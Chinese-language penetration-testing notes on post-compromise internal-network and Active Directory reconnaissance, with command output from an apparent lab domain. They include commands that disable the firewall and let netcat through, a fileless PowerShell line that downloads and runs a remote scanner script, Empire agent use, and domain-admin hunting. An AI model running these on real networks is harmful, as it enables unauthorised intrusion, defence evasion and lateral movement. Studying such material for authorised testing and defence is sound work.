内网渗透信息收集总结

内网信息收集

信息收集

一、内网信息收集概述

1.1、我是谁?

——对当前机器角色的判断

WEB服务器?开发测试服务器?公共服务器?文件服务器?代理服务器?DNS服务器?等等??

根据 主机名、文件、网络连接情况综合判断。

1.2、这是哪?

—— 对当前机器所处网络环境的拓扑结构进行分析与判断。

绘制大致内网拓扑图

1.3、我在哪

——- 对当前机器所处区域的判断。

DMZ区、办公区、核心区

二、收集本机信息

2.1手动信息收集

2.1.1查询网络配置信息

ipconfig/all

2.1.2查询操作系统及软件信息

systeminfo
可查询出补丁,可利用系统自身存在的漏洞进行后续的提权。
systeminfo | findstr /B /C:“OS 名称” /C:“OS 版本”

查看系统体系结构

echo %PROCESSOR_ARCHITECTURE%

查看安装的软件版本及路径等

wmic product get name,version

利用powershell收集软件版本信息

powershell “GET-WmiObject -class Win32_Product | Select-Object -Property name,version”

2.1.3查询本机服务信息

wmic service list brief

2.1.4查询进程列表

tasklist

查看当前进程和进程用户

wmic process list brief

2.1.5查看启动程序(启动项)信息

wmic startup get command,caption

2.1.6查看计划任务

schtasks /query /fo LIST /v

2.1.7查看用户列表

查看本机用户列表

net user

获取本地管理员组

net localgroup administrators

查看当前在线用户:

query user || qwinsta

2.1.8查看主机开机时间

net statistics workstation

2.1.9列出或端开本地计算机与所有连接的客户端之间的会话

net session

2.1.10 查询端口列表

netstat -ano

2.1.11 查看补丁列表

systeminfo
wmic qfe get Caption,Descript,HotFixID,InstalledOn

2.1.12查询本地共享列表

net share
wmic share get name,path,status

2.1.13查询路由表及所有可用接口的ARP缓存表

route print
arp -a

2.1.14查看防火墙相关配置

查杀软

WMIC /Node:localhost /Namespace:\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List

关闭防火墙

netsh firewall set opmode disable (Windows Server 2003 系统及之前版本)
netsh advfirewall set allprofiles state off (Windows Server 2003 系统及之后版本)

查看防火墙配置

netstat firewall show config

修改防火墙配置

win server 2003 及之前,允许指定程序全部连接。

netsh firewall add allowedprogram c:\nc.exe “allwa nc” enable

win server 2003 之后
netsh advfirewall firewall add rule name=“pass nc” dir=in action=allow program=“c:\nc.exe”

允许指定程序退出
netsh advfirewall firewall add rule name=“Allow nc” dir=out action=allow program=“c:\nc.exe”

允许 3389 端口放行
netsh advfirewall firewall add rule name=“Remote Desktop” protocol=TCP dir=in localport=3389 action=allow

自定义翻过墙存储位置
netsh advfirewall set currentprofile logging filename “c:\windows\temp\fw.log”

远程桌面连接历史记录

cmdkey /l

自定义防火墙日志的储存位置

netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"

2.2自动收集信息

http://www.fuzzysecurity.com/scripts/files/wmic_info.rar

下载后直接运行脚本: wmic_info.bat

三、查看当前权限

3.1权限

  • 本地普通用户

  • 本地管理员用户

  • 本地域内用户

3.2获取域SID

whoami /all

3.3查询指定用户详细信息

net user win7 /domain

四、判断是否存在域

了解本机信息后,接下来就要判断当前所在内网是否存在域。

4.1 ipconfig

查看网关IP地址、DNS的ip地址、域名、本机是否和DNS服务器处于同一网段等信息。

ipconfig /all

然后nslookup解析域名的ip地址,查看是否与DNS服务器在同一ip上。

nslookup security.com

4.2 查看系统详细信息

systeminfo

从中看到处于域 security.com

4.3 查看当前登录域及域用户

net config workstation

4.4 判断主域

net time /domain

五、搜集域内基本信息

5.1 查询域

net view /domain

5.2 查询域内所有计算机

net view /domain:SECURITY

5.3 查询域内所有用户组列表

net group /domain
  • Domain Admins : 域管理员组

  • Domain Computers : 域内机器

  • Domain Controllers :域控制器

  • Domain Guest : 域访客,权限较低

  • Domain User : 域用户

  • Enterprise Admins : 企业系统管理员用户

默认,Domain Admins 、Enterprise Admins 对域内机器有完全控制权。

5.4 查询所有域成员计算机列表

net group “domain computers” /doamin

5.5 获取域用户密码信息

net accounts /domain

5.6 获取域信任信息

nltest /domain_trusts

六、查看域控制器

6.1查看域控制器的机器名

nltest /DCLIST:security

6.2查看域控制器的主机名

nslookup -type=SRV_ldap_tcp

6.3查看当前时间

net time /domain

6.4查看域控制器组

net group “domain controllers” /domain

七、获取域内用户和管理员信息

7.1查询所有域用户列表

net user /domain

7.2获取域内用户详细信息

wmic useraccount get /all

7.3查看存在的用户

dsquery user

dsquery computer - 查找目录中的计算机。
dsquery contact - 查找目录中的联系人。
dsquery subnet - 查找目录中的子网。
dsquery group - 查找目录中的组。
dsquery ou - 查找目录中的组织单位。
dsquery site - 查找目录中的站点。
dsquery server - 查找目录中的域控制器。
dsquery user - 查找目录中的用户。
dsquery quota - 查找目录中的配额。
dsquery partition - 查找目录中的分区。
dsquery * - 用通用的 LDAP 查询查找目录中的任何对象。
dsquery computer domainroot -limit 65535 && net group “domain computers” /domain  //列出该域内所有机器名
dsquery user domainroot -limit 65535 && net user /domain //列出该域内所有用户名
dsquery subnet //列出该域内网段划分
dsquery group && net group /domain //列出该域内分组
dsquery ou //列出该域内组织单位
dsquery server && net time /domain //列出该域内域控制器

7.4查询本地管理员组用户

net localgroup administrators

八、查询域管理员用户组

8.1查询域管理员用户

net group “domain admins” /domain

8.2查询管理员用户组

net group “enterprise admins” /domain

九、定位域管理员

9.1域管理员定位概述

内网中通常会有大量网络安全系统和设备,IDS, IPS, 日志审计,安全网关,反病毒软件等。

在一个域中,当计算机加入域之后,会默认给域管理员组赋予本地系统管理员权限。因此,域管理员组的成员均可访问本地计算机,且具有完全控制权限。

定位域管理员渠道:

  • 日志:本地机器管理员日志,使用脚本或者Wevtuil工具导出查看。

  • 会话,域内每台机器的登录会话,netsess.exe, powerview 等工具查询。

9.2常用域管理员定位权限

9.2.1 psloggedon.exe

net session可查看谁使用了本机资源,但不能查看谁在使用远程计算机资源、谁登录了本地或远程计算机

下载链接

使用:

C:\Users\de1ay.DE1AY\Desktop>PsLoggedon.exe \\DC

PsLoggedon v1.35 - See who's logged on
Copyright (C) 2000-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

No one is logged on locally.

Users logged on via resource shares:
2023/2/28 16:06:09         WEB\Administrator
2023/2/28 16:06:25         DE1AY\de1ay

9.2.2 PVEFindADUser.exe

用于查找活动目录用户登录的位置、枚举域用户,以及查找在特定计算机上登录的用户,包括本地用户、通过RDP登录用户、用于运行服务器和计划任务的用户。需管理员权限

下载地址:https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn

使用:

C:\Users\mssql\Desktop>PVEFindADUser.exe -current
-----------------------------------------
PVE Find AD Users
Peter Van Eeckhoutte
(c) 2009 - http://www.corelan.be:8800
Version : 1.0.0.12
-----------------------------------------
[+] Finding currently logged on users ? true
[+] Finding last logged on users ? false

[+] Enumerating all computers...
[+] Number of computers found : 3
[+] Launching queries
[+] Processing host : DC.de1ay.com (Windows Server 2012 R2 Standard)
[+] Processing host : PC.de1ay.com (Windows 7 旗舰版;Service Pack 1)
[+] Processing host : WEB.de1ay.com (Windows Server 2008 R2 Standard;Servic
e Pack 1)
[-] Computer : WEB.de1ay.com Down
[+] Report written to report.csv

9.2.3 netview.exe

netview 是一个枚举工具,使用 WinAPI 枚举系统,利用 NetSessionEnum 寻找登录会话,利用 NetShareEnum 寻找共享,利用 NetWkstaUserEnum 枚举登录的用户,netview 可以查询共享入口和有价值的用户,其绝大部分功能无需管理员权限就可使用。

下载链接

使用:netview.exe -d DE1AY(域名)

C:\Users\de1ay.DE1AY\Desktop>netview.exe -d DE1AY
[+] Domain Specified: DE1AY

[*] Using interval: 0
[*] Using jitter: 0.00

[+] Number of hosts: 2

[+] Host: DC
Enumerating AD Info[+] DC - Comment -
[+] D - OS Version - 6.3
[+] DC - Domain Controller

Enumerating IP Info
[+] (null) - IPv4 Address - 10.10.10.10

Enumerating Share Info
[+] DC - Share : ADMIN$               : ????
[+] DC - Share : C$                   : ????
[+] DC - Share : IPC$                 : ?? IPC
[+] DC - Share : NETLOGON             : Logon server share
[+] DC - Share : SYSVOL               : Logon server share

Enumerating Session Info
[+] DC - Session - Administrator from \\10.10.10.80 - Active: 26035 - Idle: 6898

[+] DC - Session - de1ay from \\10.10.10.80 - Active: 0 - Idle: 0

Enumerating Logged-on Users
[+] DC - Logged-on - DE1AY.COM\de1ay

[+] Host: PC
Enumerating AD Info[+] PC - Comment -
[+] P - OS Version - 6.1

Enumerating IP Info
[+] (null) - IPv4 Address - 10.10.10.201

Enumerating Share Info
[+] PC - Share : ADMIN$               : ????
[+] PC - Share : C$                   : ????
[+] PC - Share : IPC$                 : ?? IPC

Enumerating Session Info
[+] PC - Session - de1ay from \\10.10.10.80 - Active: 0 - Idle: 0

Enumerating Logged-on Users

9.2.4 Nmap的NSE脚本

zenmap

下载链接

使用:

nmap --script=smb-os-discovery.nse -p 445 192.168.7.107

9.2.5 powerview脚本

下载链接

使用:

powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Invoke-UserHunter}"
C:\Users\de1ay.DE1AY\Desktop\PowerSploit-3.0.0\Recon>powershell.exe -exec bypass
-Command "& {Import-Module .\PowerView.ps1;Invoke-UserHunter}"

UserDomain   : de1ay.com
UserName     : Administrator
ComputerName : DC.de1ay.com
IP           : 10.10.10.10
SessionFrom  : 10.10.10.80
LocalAdmin   :

UserDomain   : DE1AY
UserName     : Administrator
ComputerName : WEB.de1ay.com
IP           : {10.10.10.80, 192.168.5.131}
SessionFrom  :
LocalAdmin   :

UserDomain   : DE1AY
UserName     : Administrator
ComputerName : WEB.de1ay.com
IP           : {10.10.10.80, 192.168.5.131}
SessionFrom  :
LocalAdmin   :

UserDomain   : DE1AY
UserName     : Administrator
ComputerName : WEB.de1ay.com
IP           : {10.10.10.80, 192.168.5.131}
SessionFrom  :
LocalAdmin   :

UserDomain   : WEB
UserName     : Administrator
ComputerName : WEB.de1ay.com
IP           : {10.10.10.80, 192.168.5.131}
SessionFrom  :
LocalAdmin   :

UserDomain   : DE1AY
UserName     : Administrator
ComputerName : WEB.de1ay.com
IP           : {10.10.10.80, 192.168.5.131}
SessionFrom  :
LocalAdmin   :

UserDomain   : DE1AY
UserName     : Administrator
ComputerName : WEB.de1ay.com
IP           : {10.10.10.80, 192.168.5.131}
SessionFrom  :
LocalAdmin   :

9.2.6 Empire 的 user_hunter 模块

十、查找与管理进程

典型域提权: 明文凭据或通过 mimikatz (kali 自带工具,密码抓取神器)提权。

10.1本机检查

获取域管理员列表

net group “domain admins” /domain

列出本机所有进程及进程用户

tasklist /v

寻找域控制器的域用户会话

原理:在域控制器中查询域会话列表,并将其与域管理员列表交叉引用,从而得到与管理会话的系统列表。

NetSess -h(netsess.exe须上载到目标机器中)

十一、探测域内存活主机

11.1 利用NetBIOS 快速探测内网nbtscan下载链接

命令:

nbtscan.exe -h

nbtscan.exe 10.1.1.1/24

11.2 利用ICMP协议快速探测内网

for /L %i in (1,1,254) DO @ping -w 1 -n 1 10.1.1.%i | findstr “TTL=”

11.3 通过 Arp协议探测

arp.exe -t 10.1.1.1/24

Empire、Nishang

arp -a

11.5.1 telnet

telnet DC 22

11.5.2 MSF

search scanner/portscan/tcp
use 0
show options
set port 1-1000
set rhosts 192.168.1.1
set threads 10
run

域内主机存活检测

一、ping

如果服务器禁ping,该方法不可用

windows

for /l %i in (1,1,255) do @ping 192.168.7.%i -w 1 -n 1|find /i "ttl="
C:\Users\daniel10>for /l %i in (1,1,255) do @ping 192.168.7.%i -w 1 -n 1|find /i "ttl="
来自 192.168.7.7 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.7.107 的回复: 字节=32 时间=1ms TTL=64
来自 192.168.7.110 的回复: 字节=32 时间<1ms TTL=128

linux

for k in $( seq 1 255);do ping -c 1 192.168.7.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done

VPS脚本

strSubNet = "192.168.7."  
Set objFSO= CreateObject("Scripting.FileSystemObject")  
Set objTS = objfso.CreateTextFile("C:\Result.txt")   
For i = 1 To 254  
strComputer = strSubNet & i  
blnResult = Ping(strComputer)  
If blnResult = True Then  
objTS.WriteLine strComputer & " is alived ! :) "  
End If  
Next   
objTS.Close  
WScript.Echo "All Ping Scan , All Done ! :) "    
Function Ping(strComputer)  
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2") 
Set colItems = objWMIService.ExecQuery("Select * From Win32_PingStatus Where Address='" & strComputer & "'") 
For Each objItem In colItems  
Select case objItem.StatusCode  
Case 0  
Ping = True  
Case Else  
Ping = False  
End select  
Exit For  
Next  
End Function
strSubNet = “10.10.10.”

Set objFSO= CreateObject(“Scripting.FileSystemObject”)

Set objTS = objfso.CreateTextFile(“C:\Windows\Temp\Result.txt”)

For i = 1 To 254

strComputer = strSubNet & i

blnResult = Ping(strComputer)

If blnResult = True Then

objTS.WriteLine strComputer & " is alived !  "

End If

Next

objTS.Close

WScript.Echo "All Ping Scan , All Done !  "

Function Ping(strComputer)

Set objWMIService = GetObject(“winmgmts:\.\root\cimv2”)

Set colItems = objWMIService.ExecQuery(“Select * From Win32_PingStatus Where Address=’” & strComputer & “’”)

For Each objItem In colItems

Select case objItem.StatusCode

Case 0

Ping = True

Case Else

Ping = False

End select

Exit For

Next

End Function

二、PowerShell

TSPingSweep

下载地址:

https://raw.githubusercontent.com/dwj7738/My-Powershell-Repository/master/Scripts/Invoke-TSPingSweep.ps1

使用:

powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSweep.ps1; Invoke-TSPingSweep -StartAddress 10.10.10.1 -EndAddress 10.10.10.254 -ResolveHost -ScanPort -Port 445,135"

msf

C:\Users\de1ay.DE1AY\Desktop>powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSweep.ps1; Invoke-TSPingSweep -StartAddress 10.10.10.1 -EndAddress 10.10.10.254 -ResolveHost -ScanPort -Port 445,135"
powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSweep.ps1; Invoke-TSPingSweep -StartAddress 10.10.10.1 -EndAddress 10.10.10.254 -ResolveHost -ScanPort -Port 445,135"

IPAddress                  HostName                   Ports                    
---------                  --------                   -----                    
10.10.10.10                dc.de1ay.com               {445, 135}               
10.10.10.80                WEB.de1ay.com              {445, 135}               
10.10.10.201               PC.de1ay.com               {445, 135}

powershell

 

ARPScan

下载地址:

https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/situational_awareness/network/Invoke-ARPScan.ps1

使用:

powershell.exe -exec bypass -Command "Import-Module ./Invoke-ARPScan.ps1; Invoke-ARPScan -CIDR 10.10.10.0/24"
C:\Users\de1ay.DE1AY\Desktop>powershell.exe -exec bypass -Command "Import-Module
./Invoke-ARPScan.ps1; Invoke-ARPScan -CIDR 10.10.10.0/24"

MAC                                     Address
---                                     -------
00:0C:29:4E:20:BD                       10.10.10.10
00:0C:29:68:D3:69                       10.10.10.80
00:0C:29:9E:7B:7A                       10.10.10.201
00:50:56:E5:AA:97                       10.10.10.254
00:0C:29:68:D3:69                       10.10.10.255

三、arp-scan

使用ARP协议进行探测

下载地址:

https://github.com/QbsuranAlang/arp-scan-windows-

使用:

arp-scan.exe -t 10.10.10.0/24
C:\Users\de1ay.DE1AY\Desktop>arp-scan.exe -t 10.10.10.0/24
Reply that 00:0C:29:4E:20:BD is 10.10.10.10 in 15.243100
Reply that 00:0C:29:68:D3:69 is 10.10.10.80 in 0.028800
Reply that 00:0C:29:9E:7B:7A is 10.10.10.201 in 14.66600
Reply that 00:50:56:E5:AA:97 is 10.10.10.254 in 14.76810
Reply that 00:0C:29:68:D3:69 is 10.10.10.255 in 0.024700

四、arp-ping

Arp-ping 基于 arp 协议,它可以ping受防火墙保护的主机

下载地址:

arp-ping.exe

使用:

因为arp-ping一次只能ping一个主机,实战中肯定是不行的,所以需要写个循环

for /l %i in (1,1,255) do @arp-ping.exe 10.10.10.%i -w 1 -n 1|find /i "Reply"
C:\Users\de1ay.DE1AY\Desktop>for /l %i in (1,1,255) do @arp-ping.exe 10.10.10.%i
-w 1 -n 1|find /i "Reply"
Reply that 00:0C:29:4E:20:BD is 10.10.10.10 in 15.832ms
Reply that 00:0C:29:68:D3:69 is 10.10.10.80 in 0.046ms
Reply that 00:0C:29:9E:7B:7A is 10.10.10.201 in 6.804ms
Reply that 00:50:56:E5:AA:97 is 10.10.10.254 in 3.404ms
Reply that 00:0C:29:68:D3:69 is 10.10.10.255 in 0.047ms

五、Empire

Empire内置了arpscan模块,该模块可利用arp协议对内网主机进行探测。将目标主机上线 Empire后,使用powershell/situational_awareness/network/arpscan模块,设置扫描范围即可,具体如下:

(Empire: listeners) > agents
[*] Active agents:
Name     La Internal IP     Machine Name      Username                Process            PID    Delay    Last Seen
----     -- -----------     ------------      --------                -------            ---    -----    ---------
APDGSW9X ps 192.168.7.7     DC                *TEAMSSIX\administrator powershell         3648   5/0.0    2021-02-23 20:43:27
(Empire: agents) > usemodule powershell/situational_awareness/network/arpscan
(Empire: powershell/situational_awareness/network/arpscan) > set Agent APDGSW9X
(Empire: powershell/situational_awareness/network/arpscan) > set CIDR 192.168.7.0/24
(Empire: powershell/situational_awareness/network/arpscan) > execute
MAC               Address      
---               -------      
16:7D:DA:D7:8F:64 192.168.7.1  
00:0C:29:1D:82:CF 192.168.7.7  
00:0C:29:A9:62:98 192.168.7.107
00:0C:29:DC:01:0D 192.168.7.110
00:0C:29:1D:82:CF 192.168.7.255

六、btscan

nbtscan 有 Windows 和 Linux 两个版本,使用 netbios 协议扫描本地或远程 TCP/IP 网络上的开放 NetBIOS 名称服务器。

下载地址: nbtscan - NETBIOS nameserver scanner

会被杀软杀掉

使用:

C:\Users\de1ay.DE1AY\Desktop>nbtscan-1.0.35.exe 10.10.10.0/24
10.10.10.10     DE1AY\DC                        SHARING DC
10.10.10.80     DE1AY\WEB                       SHARING
10.10.10.201    DE1AY\PC                        SHARING
*timeout (normal end of scan)

七、scanline

McAfee 出品,推荐 win 下使用(管理员执行)

下载地址:

https://pan.wgpsec.org/d/public_open/4-后渗透 %26 域渗透/信息收集/端口探测/ScanLine.exe?sign=dpTNwfDvP3g1Zx2Y2Vjj9NctuZxXXP6QYJ8uhnSpw4s=:0

使用:

C:\Users\de1ay.DE1AY\Desktop>ScanLine.exe -h -t 22,80,445,3389,1099,1433,3306,33
89 -u 53,161,137,139 -O log.txt -p 10.10.10.1-254 /b
ScanLine (TM) 1.01
Copyright (c) Foundstone, Inc. 2002
http://www.foundstone.com

Scan of 254 IPs started at Tue Feb 28 15:49:46 2023

-------------------------------------------------------------------------------
10.10.10.10
Responds with ICMP unreachable: No
TCP ports: 445 3389
UDP ports: 53

-------------------------------------------------------------------------------
10.10.10.80
Responds with ICMP unreachable: Yes
TCP ports: 80 445 1433 3389
UDP ports: 137

TCP 80:
[HTTP/1.1 200 OK Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Tue, 28 F
eb 2023 07:50:07 GMT Connection: close Content-Length: 0]

-------------------------------------------------------------------------------
10.10.10.201
Responds with ICMP unreachable: No
TCP ports: 445 3389
UDP ports:

-------------------------------------------------------------------------------

Scan finished at Tue Feb 28 15:53:19 2023

254 IPs and 3048 ports scanned in 0 hours 3 mins 32.69 secs

挺慢的

八、telnet

通过telnet探测 445 端口或者其他端口判断主机存活。

for /l %a in (1,1,254) do start /min /low telnet 10.10.10.%a 445

九、tcping

tcping.exe 是一个命令行程序,其操作类似于ping,但它通过 TCP 工作

下载地址:

Index of /files/tcping/0.39/x64

使用:

C:\Users\de1ay.DE1AY\Desktop>tcping64.exe -n 1 10.10.10.10 445

Probing 10.10.10.10:445/tcp - Port is open - time=1.913ms

Ping statistics for 10.10.10.10:445
1 probes sent.
1 successful, 0 failed.  (0.00% fail)
Approximate trip times in milli-seconds:
Minimum = 1.913ms, Maximum = 1.913ms, Average = 1.913ms

C:\Users\de1ay.DE1AY\Desktop>tcping64.exe -n 1 10.10.10.10 441

Probing 10.10.10.10:441/tcp - No response - time=2009.850ms

Ping statistics for 10.10.10.10:441
1 probes sent.
0 successful, 1 failed.  (100.00% fail)
Was unable to connect, cannot provide trip statistics.

C:\Users\de1ay.DE1AY\Desktop>tcping64.exe -n 1 10.10.10.201 445

Probing 10.10.10.201:445/tcp - Port is open - time=2.857ms

Ping statistics for 10.10.10.201:445
1 probes sent.
1 successful, 0 failed.  (0.00% fail)
Approximate trip times in milli-seconds:
Minimum = 2.857ms, Maximum = 2.857ms, Average = 2.857ms

C:\Users\de1ay.DE1AY\Desktop>

十、cping

k8团队

下载地址:

https://pan.wgpsec.org/public_open/4-后渗透 & 域渗透/主机发现/cping3.0

使用:

下载解压后可以看到很多个 exe 文件,其分别代表了.net编译版本,编译版本对应系统如下:

XP/2003(已淘汰,用户少,使用的大部分也会装.net,因为好多app需要连驱动都要.net,具体看安装版本一般2.0)

Vista       2.0(基本上也没多少用户)
Win7/2008   2.0 3.0 3.5
Win8/2012   4.0
Win8.1      4.0 4.5
Win10/2016  4.0 4.6 (4.5未测应该也行)
C:\Users\de1ay.DE1AY\Desktop>cping35.exe scan osver 10.10.10.1 10.10.10.255
Scan OS version
10.10.10.1---10.10.10.255

Segment: 10.10.10.0
=============================================
IP              MAC               HostName        OSver
10.10.10.10     00-0C-29-4E-20-BD DC.de1ay.com    [Win 2012 R2 Standard 9600]
10.10.10.80     00-0C-29-68-D3-69 WEB.de1ay.com   [Win 2008 R2 Standard 7601 SP
1]
10.10.10.201    00-0C-29-9E-7B-7A PC.de1ay.com    [Win 7 Ultimate 7601 SP 1]
=============================================
Count:3

十一、fscan

作者是影舞者大佬,内网大杀器

下载地址:

GitHub - shadow1ng/fscan: 一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。

使用:

C:\Users\de1ay.DE1AY\Desktop>fscan64.exe -h 10.10.10.1-255 -p 22,445

___                              _
/ _ \     ___  ___ _ __ __ _  ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
fscan version: 1.8.1
start infoscan
已完成 0/0 listen ip4:icmp 0.0.0.0: socket: An attempt was made to access a sock
et in a way forbidden by its access permissions.
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 10.10.10.10     is alive
(icmp) Target 10.10.10.80     is alive
(icmp) Target 10.10.10.201    is alive
[*] Icmp alive hosts len is: 3
10.10.10.80:445 open
10.10.10.10:445 open
10.10.10.201:445 open
[*] alive ports len is: 3
start vulscan
[+] 10.10.10.80 MS17-010        (Windows Server 2008 R2 Standard 7601 Service Pa
ck 1)
[+] 10.10.10.10 MS17-010        (Windows Server 2012 R2 Standard 9600)
[+] 10.10.10.201        MS17-010        (Windows 7 Ultimate 7601 Service Pack 1)

已完成 3/3
[*] 扫描结束,耗时: 25.2090706s

不仅可以扫描端口,还可以进行漏洞扫描,存好扫描、弱口令测试等

十二、nmap

懂得都懂

SYN 扫描:			nmap -sS -sn -sV -T4 192.168.7.0/24
ARP 扫描:			nmap -PR -sn 192.168.7.0/24
ICMP 扫描:		nmap ‐sP ‐PI 192.168.7.0/24 ‐T4
ICMP 扫描:		nmap ‐sn ‐PE ‐T4 192.168.7.0/24
SNMP 扫描:		nmap -sU --script snmp-brute 192.168.7.0/24 -T4
UDP 扫描:			nmap -sU -T5 -sV --max-retries 1 192.168.7.7 -p 500
NetBIOS 扫描:	nmap --script nbstat.nse -sU -p137 192.168.7.0/24 -T4
SMB 扫描:			nmap ‐sU ‐sS ‐‐script smb‐enum‐shares.nse ‐p 445 192.168.7.0/24

十三、MSF

存在很多端口扫描和存活扫描模块

auxiliary/scanner/discovery/udp_probe
auxiliary/scanner/discovery/udp_sweep
auxiliary/scanner/discovery/arp_sweep
auxiliary/scanner/netbios/nbname
auxiliary/scanner/snmp/snmp_enum
auxiliary/scanner/smb/smb_version
auxiliary/scanner/netbios/nbname

十四、netdiscover

kali自带,不能扫目标内网

使用:

netdiscover -r 192.168.5.0/24
Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                                                                                   

5 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 300                                                                                                                                 
_____________________________________________________________________________
IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
-----------------------------------------------------------------------------
192.168.5.1     00:50:56:c0:00:08      1      60  VMware, Inc.                                                                                                                                  
192.168.5.2     00:50:56:f8:00:0f      1      60  VMware, Inc.                                                                                                                                  
192.168.5.131   00:0c:29:68:d3:5f      2     120  VMware, Inc.                                                                                                                                  
192.168.5.254   00:50:56:e3:5a:e6      1      60  VMware, Inc.

域内端口扫描

一、Telnet

如果想探测某台主机的某个端口是否开放,直接使用 telnet 命令是最方便的。

端口开放状态

telnet 10.10.10.80 80 #80端口开启状态

回显:

HTTP/1.1 400 Bad Request
Content-Type: text/html; charset=us-ascii
Server: Microsoft-HTTPAPI/2.0
Date: Tue, 28 Feb 2023 09:06:36 GMT
Connection: close
Content-Length: 326

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/str
ict.dtd">
<HTML><HEAD><TITLE>Bad Request</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>
<BODY><h2>Bad Request - Invalid Verb</h2>
<hr><p>HTTP Error 400. The request verb is invalid.</p>
</BODY></HTML>

端口关闭状态

telnet 10.10.10.80 81 #81端口关闭状态

回显:

PS C:\Users\mssql\Desktop\PowerSploit-3.0.0\Recon> telnet 10.10.10.80 81
正在连接10.10.10.80...无法打开到主机的连接。 在端口 81: 连接失败

二、NC

瑞士军刀

下载地址:

netcat 1.11 for Win32/Win64

会被杀软删除

使用:

nc.exe -vv 192.168.7.7 3389
C:\Users\mssql\Desktop>nc.exe -vv 10.10.10.10 3389
DNS fwd/rev mismatch: DC != DC.de1ay.com
DC [10.10.10.10] 3389 (ms-wbt-server) open

拿来进行多个端口扫描也是可以的,就是扫描速度有点慢

nc.exe -rz -w 2 -vv 192.168.7.7 0-65535

-r 随机指定本地与远端主机的通信端口
-z 使用0输入/输出模式,只在扫描通信端口时使用
-w<超时秒数> 设置等待连线的时间
C:\Users\daniel10>nc.exe -rz -w 2 -vv 192.168.7.7 443-445
DNS fwd/rev mismatch: DC != DC.teamssix.com
DC [192.168.7.7] 444 (?): TIMEDOUT
DC [192.168.7.7] 443 (https): TIMEDOUT
DC [192.168.7.7] 445 (microsoft-ds) open
sent 0, rcvd 0

三、fscan

影舞者大佬写的一款工具

使用:

PS C:\Users\de1ay.DE1AY\Desktop> .\fscan.exe -h 10.10.10.10

___                              _
/ _ \     ___  ___ _ __ __ _  ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
fscan version: 1.8.1
start infoscan
(icmp) Target 10.10.10.10     is alive
[*] Icmp alive hosts len is: 1
10.10.10.10:88 open
10.10.10.10:445 open
10.10.10.10:139 open
10.10.10.10:135 open
[*] alive ports len is: 4
start vulscan
[+] NetInfo:
[*]10.10.10.10
[->]DC
[->]10.10.10.10
[*] 10.10.10.10    [+]DC DE1AY\DC                Windows Server 2012 R2 Standard 9600
[+] 10.10.10.10 MS17-010        (Windows Server 2012 R2 Standard 9600)
已完成 4/4

ScanLine

上面有介绍

scanline.exe -h -t 22,80,445,3389 -p 10.10.10.10

四、S扫描器

火绒会杀

下载:

s扫描器.rar_免费高速下载|百度网盘-分享无限制

使用:

C:\Users\de1ay.DE1AY\Desktop>s.exe tcp 10.10.10.10 22,80,3389,445 7
TCP Port Scanner V1.1 By WinEggDrop

Normal Scan: About To Scan 4 Ports Using 7 Thread
10.10.10.10      3389  Open
10.10.10.10      445   Open
Scan 10.10.10.10 Complete In 0 Hours 0 Minutes 3 Seconds. Found 2 Open Ports

五、PowerShell

PowerSploit

PowerSploit的Invoke-Portscan 脚本

下载地址:

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1

使用:

无文件方式:

powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 10.10.10.10 -T 4 -ports '445,1433,80,8080,3389'"

我没有成功

有文件

powershell.exe -exec bypass -Command "Import-Module ./Invoke-Portscan.ps1;Invoke-Portscan -Hosts 10.10.10.10 -T 4 -ports '445,1433,80,8080,3389'"
C:\Users\de1ay.DE1AY\Desktop>powershell.exe -exec bypass -Command "Import-Module
./Invoke-Portscan.ps1;Invoke-Portscan -Hosts 10.10.10.10 -T 4 -ports '445,1433,
80,8080,3389'"

Hostname      : 10.10.10.10
alive         : True
openPorts     : {445, 3389}
closedPorts   : {}
filteredPorts : {1433, 80, 8080}
finishTime    : 2023/2/28 17:24:12

nishang

这里用的只是众多脚本中的一个

下载:

https://raw.githubusercontent.com/samratashok/nishang/0090ba2e51b7503c3245081894c0fc87b696f941/Scan/Invoke-PortScan.ps1

使用:

PS C:\Users\de1ay.DE1AY\Desktop> Import-Module .\nishang.ps1
PS C:\Users\de1ay.DE1AY\Desktop> Invoke-PortScan -StartAddress 10.10.10.10 -EndA
ddress 10.10.10.10 -ScanPort -Port 80,443,445

IPAddress                  HostName                   Ports
---------                  --------                   -----
10.10.10.10                                           {445}

六、MSF

懂得都懂

auxiliary/scanner/portscan/ack          TCP ACK端口扫描
auxiliary/scanner/portscan/ftpbounce    FTP bounce端口扫描
auxiliary/scanner/portscan/syn         	SYN端口扫描
auxiliary/scanner/portscan/tcp          TCP端口扫描  
auxiliary/scanner/portscan/xmas         TCP XMas端口扫描

在扫描内网时不要忘记添加路由

七、nmap

一般情况下目标机器是不会有nmap的,需要自己上传,用法都是一样的

防火墙

有时候需要反弹端口或者连接3389和防火墙放行

开启关闭

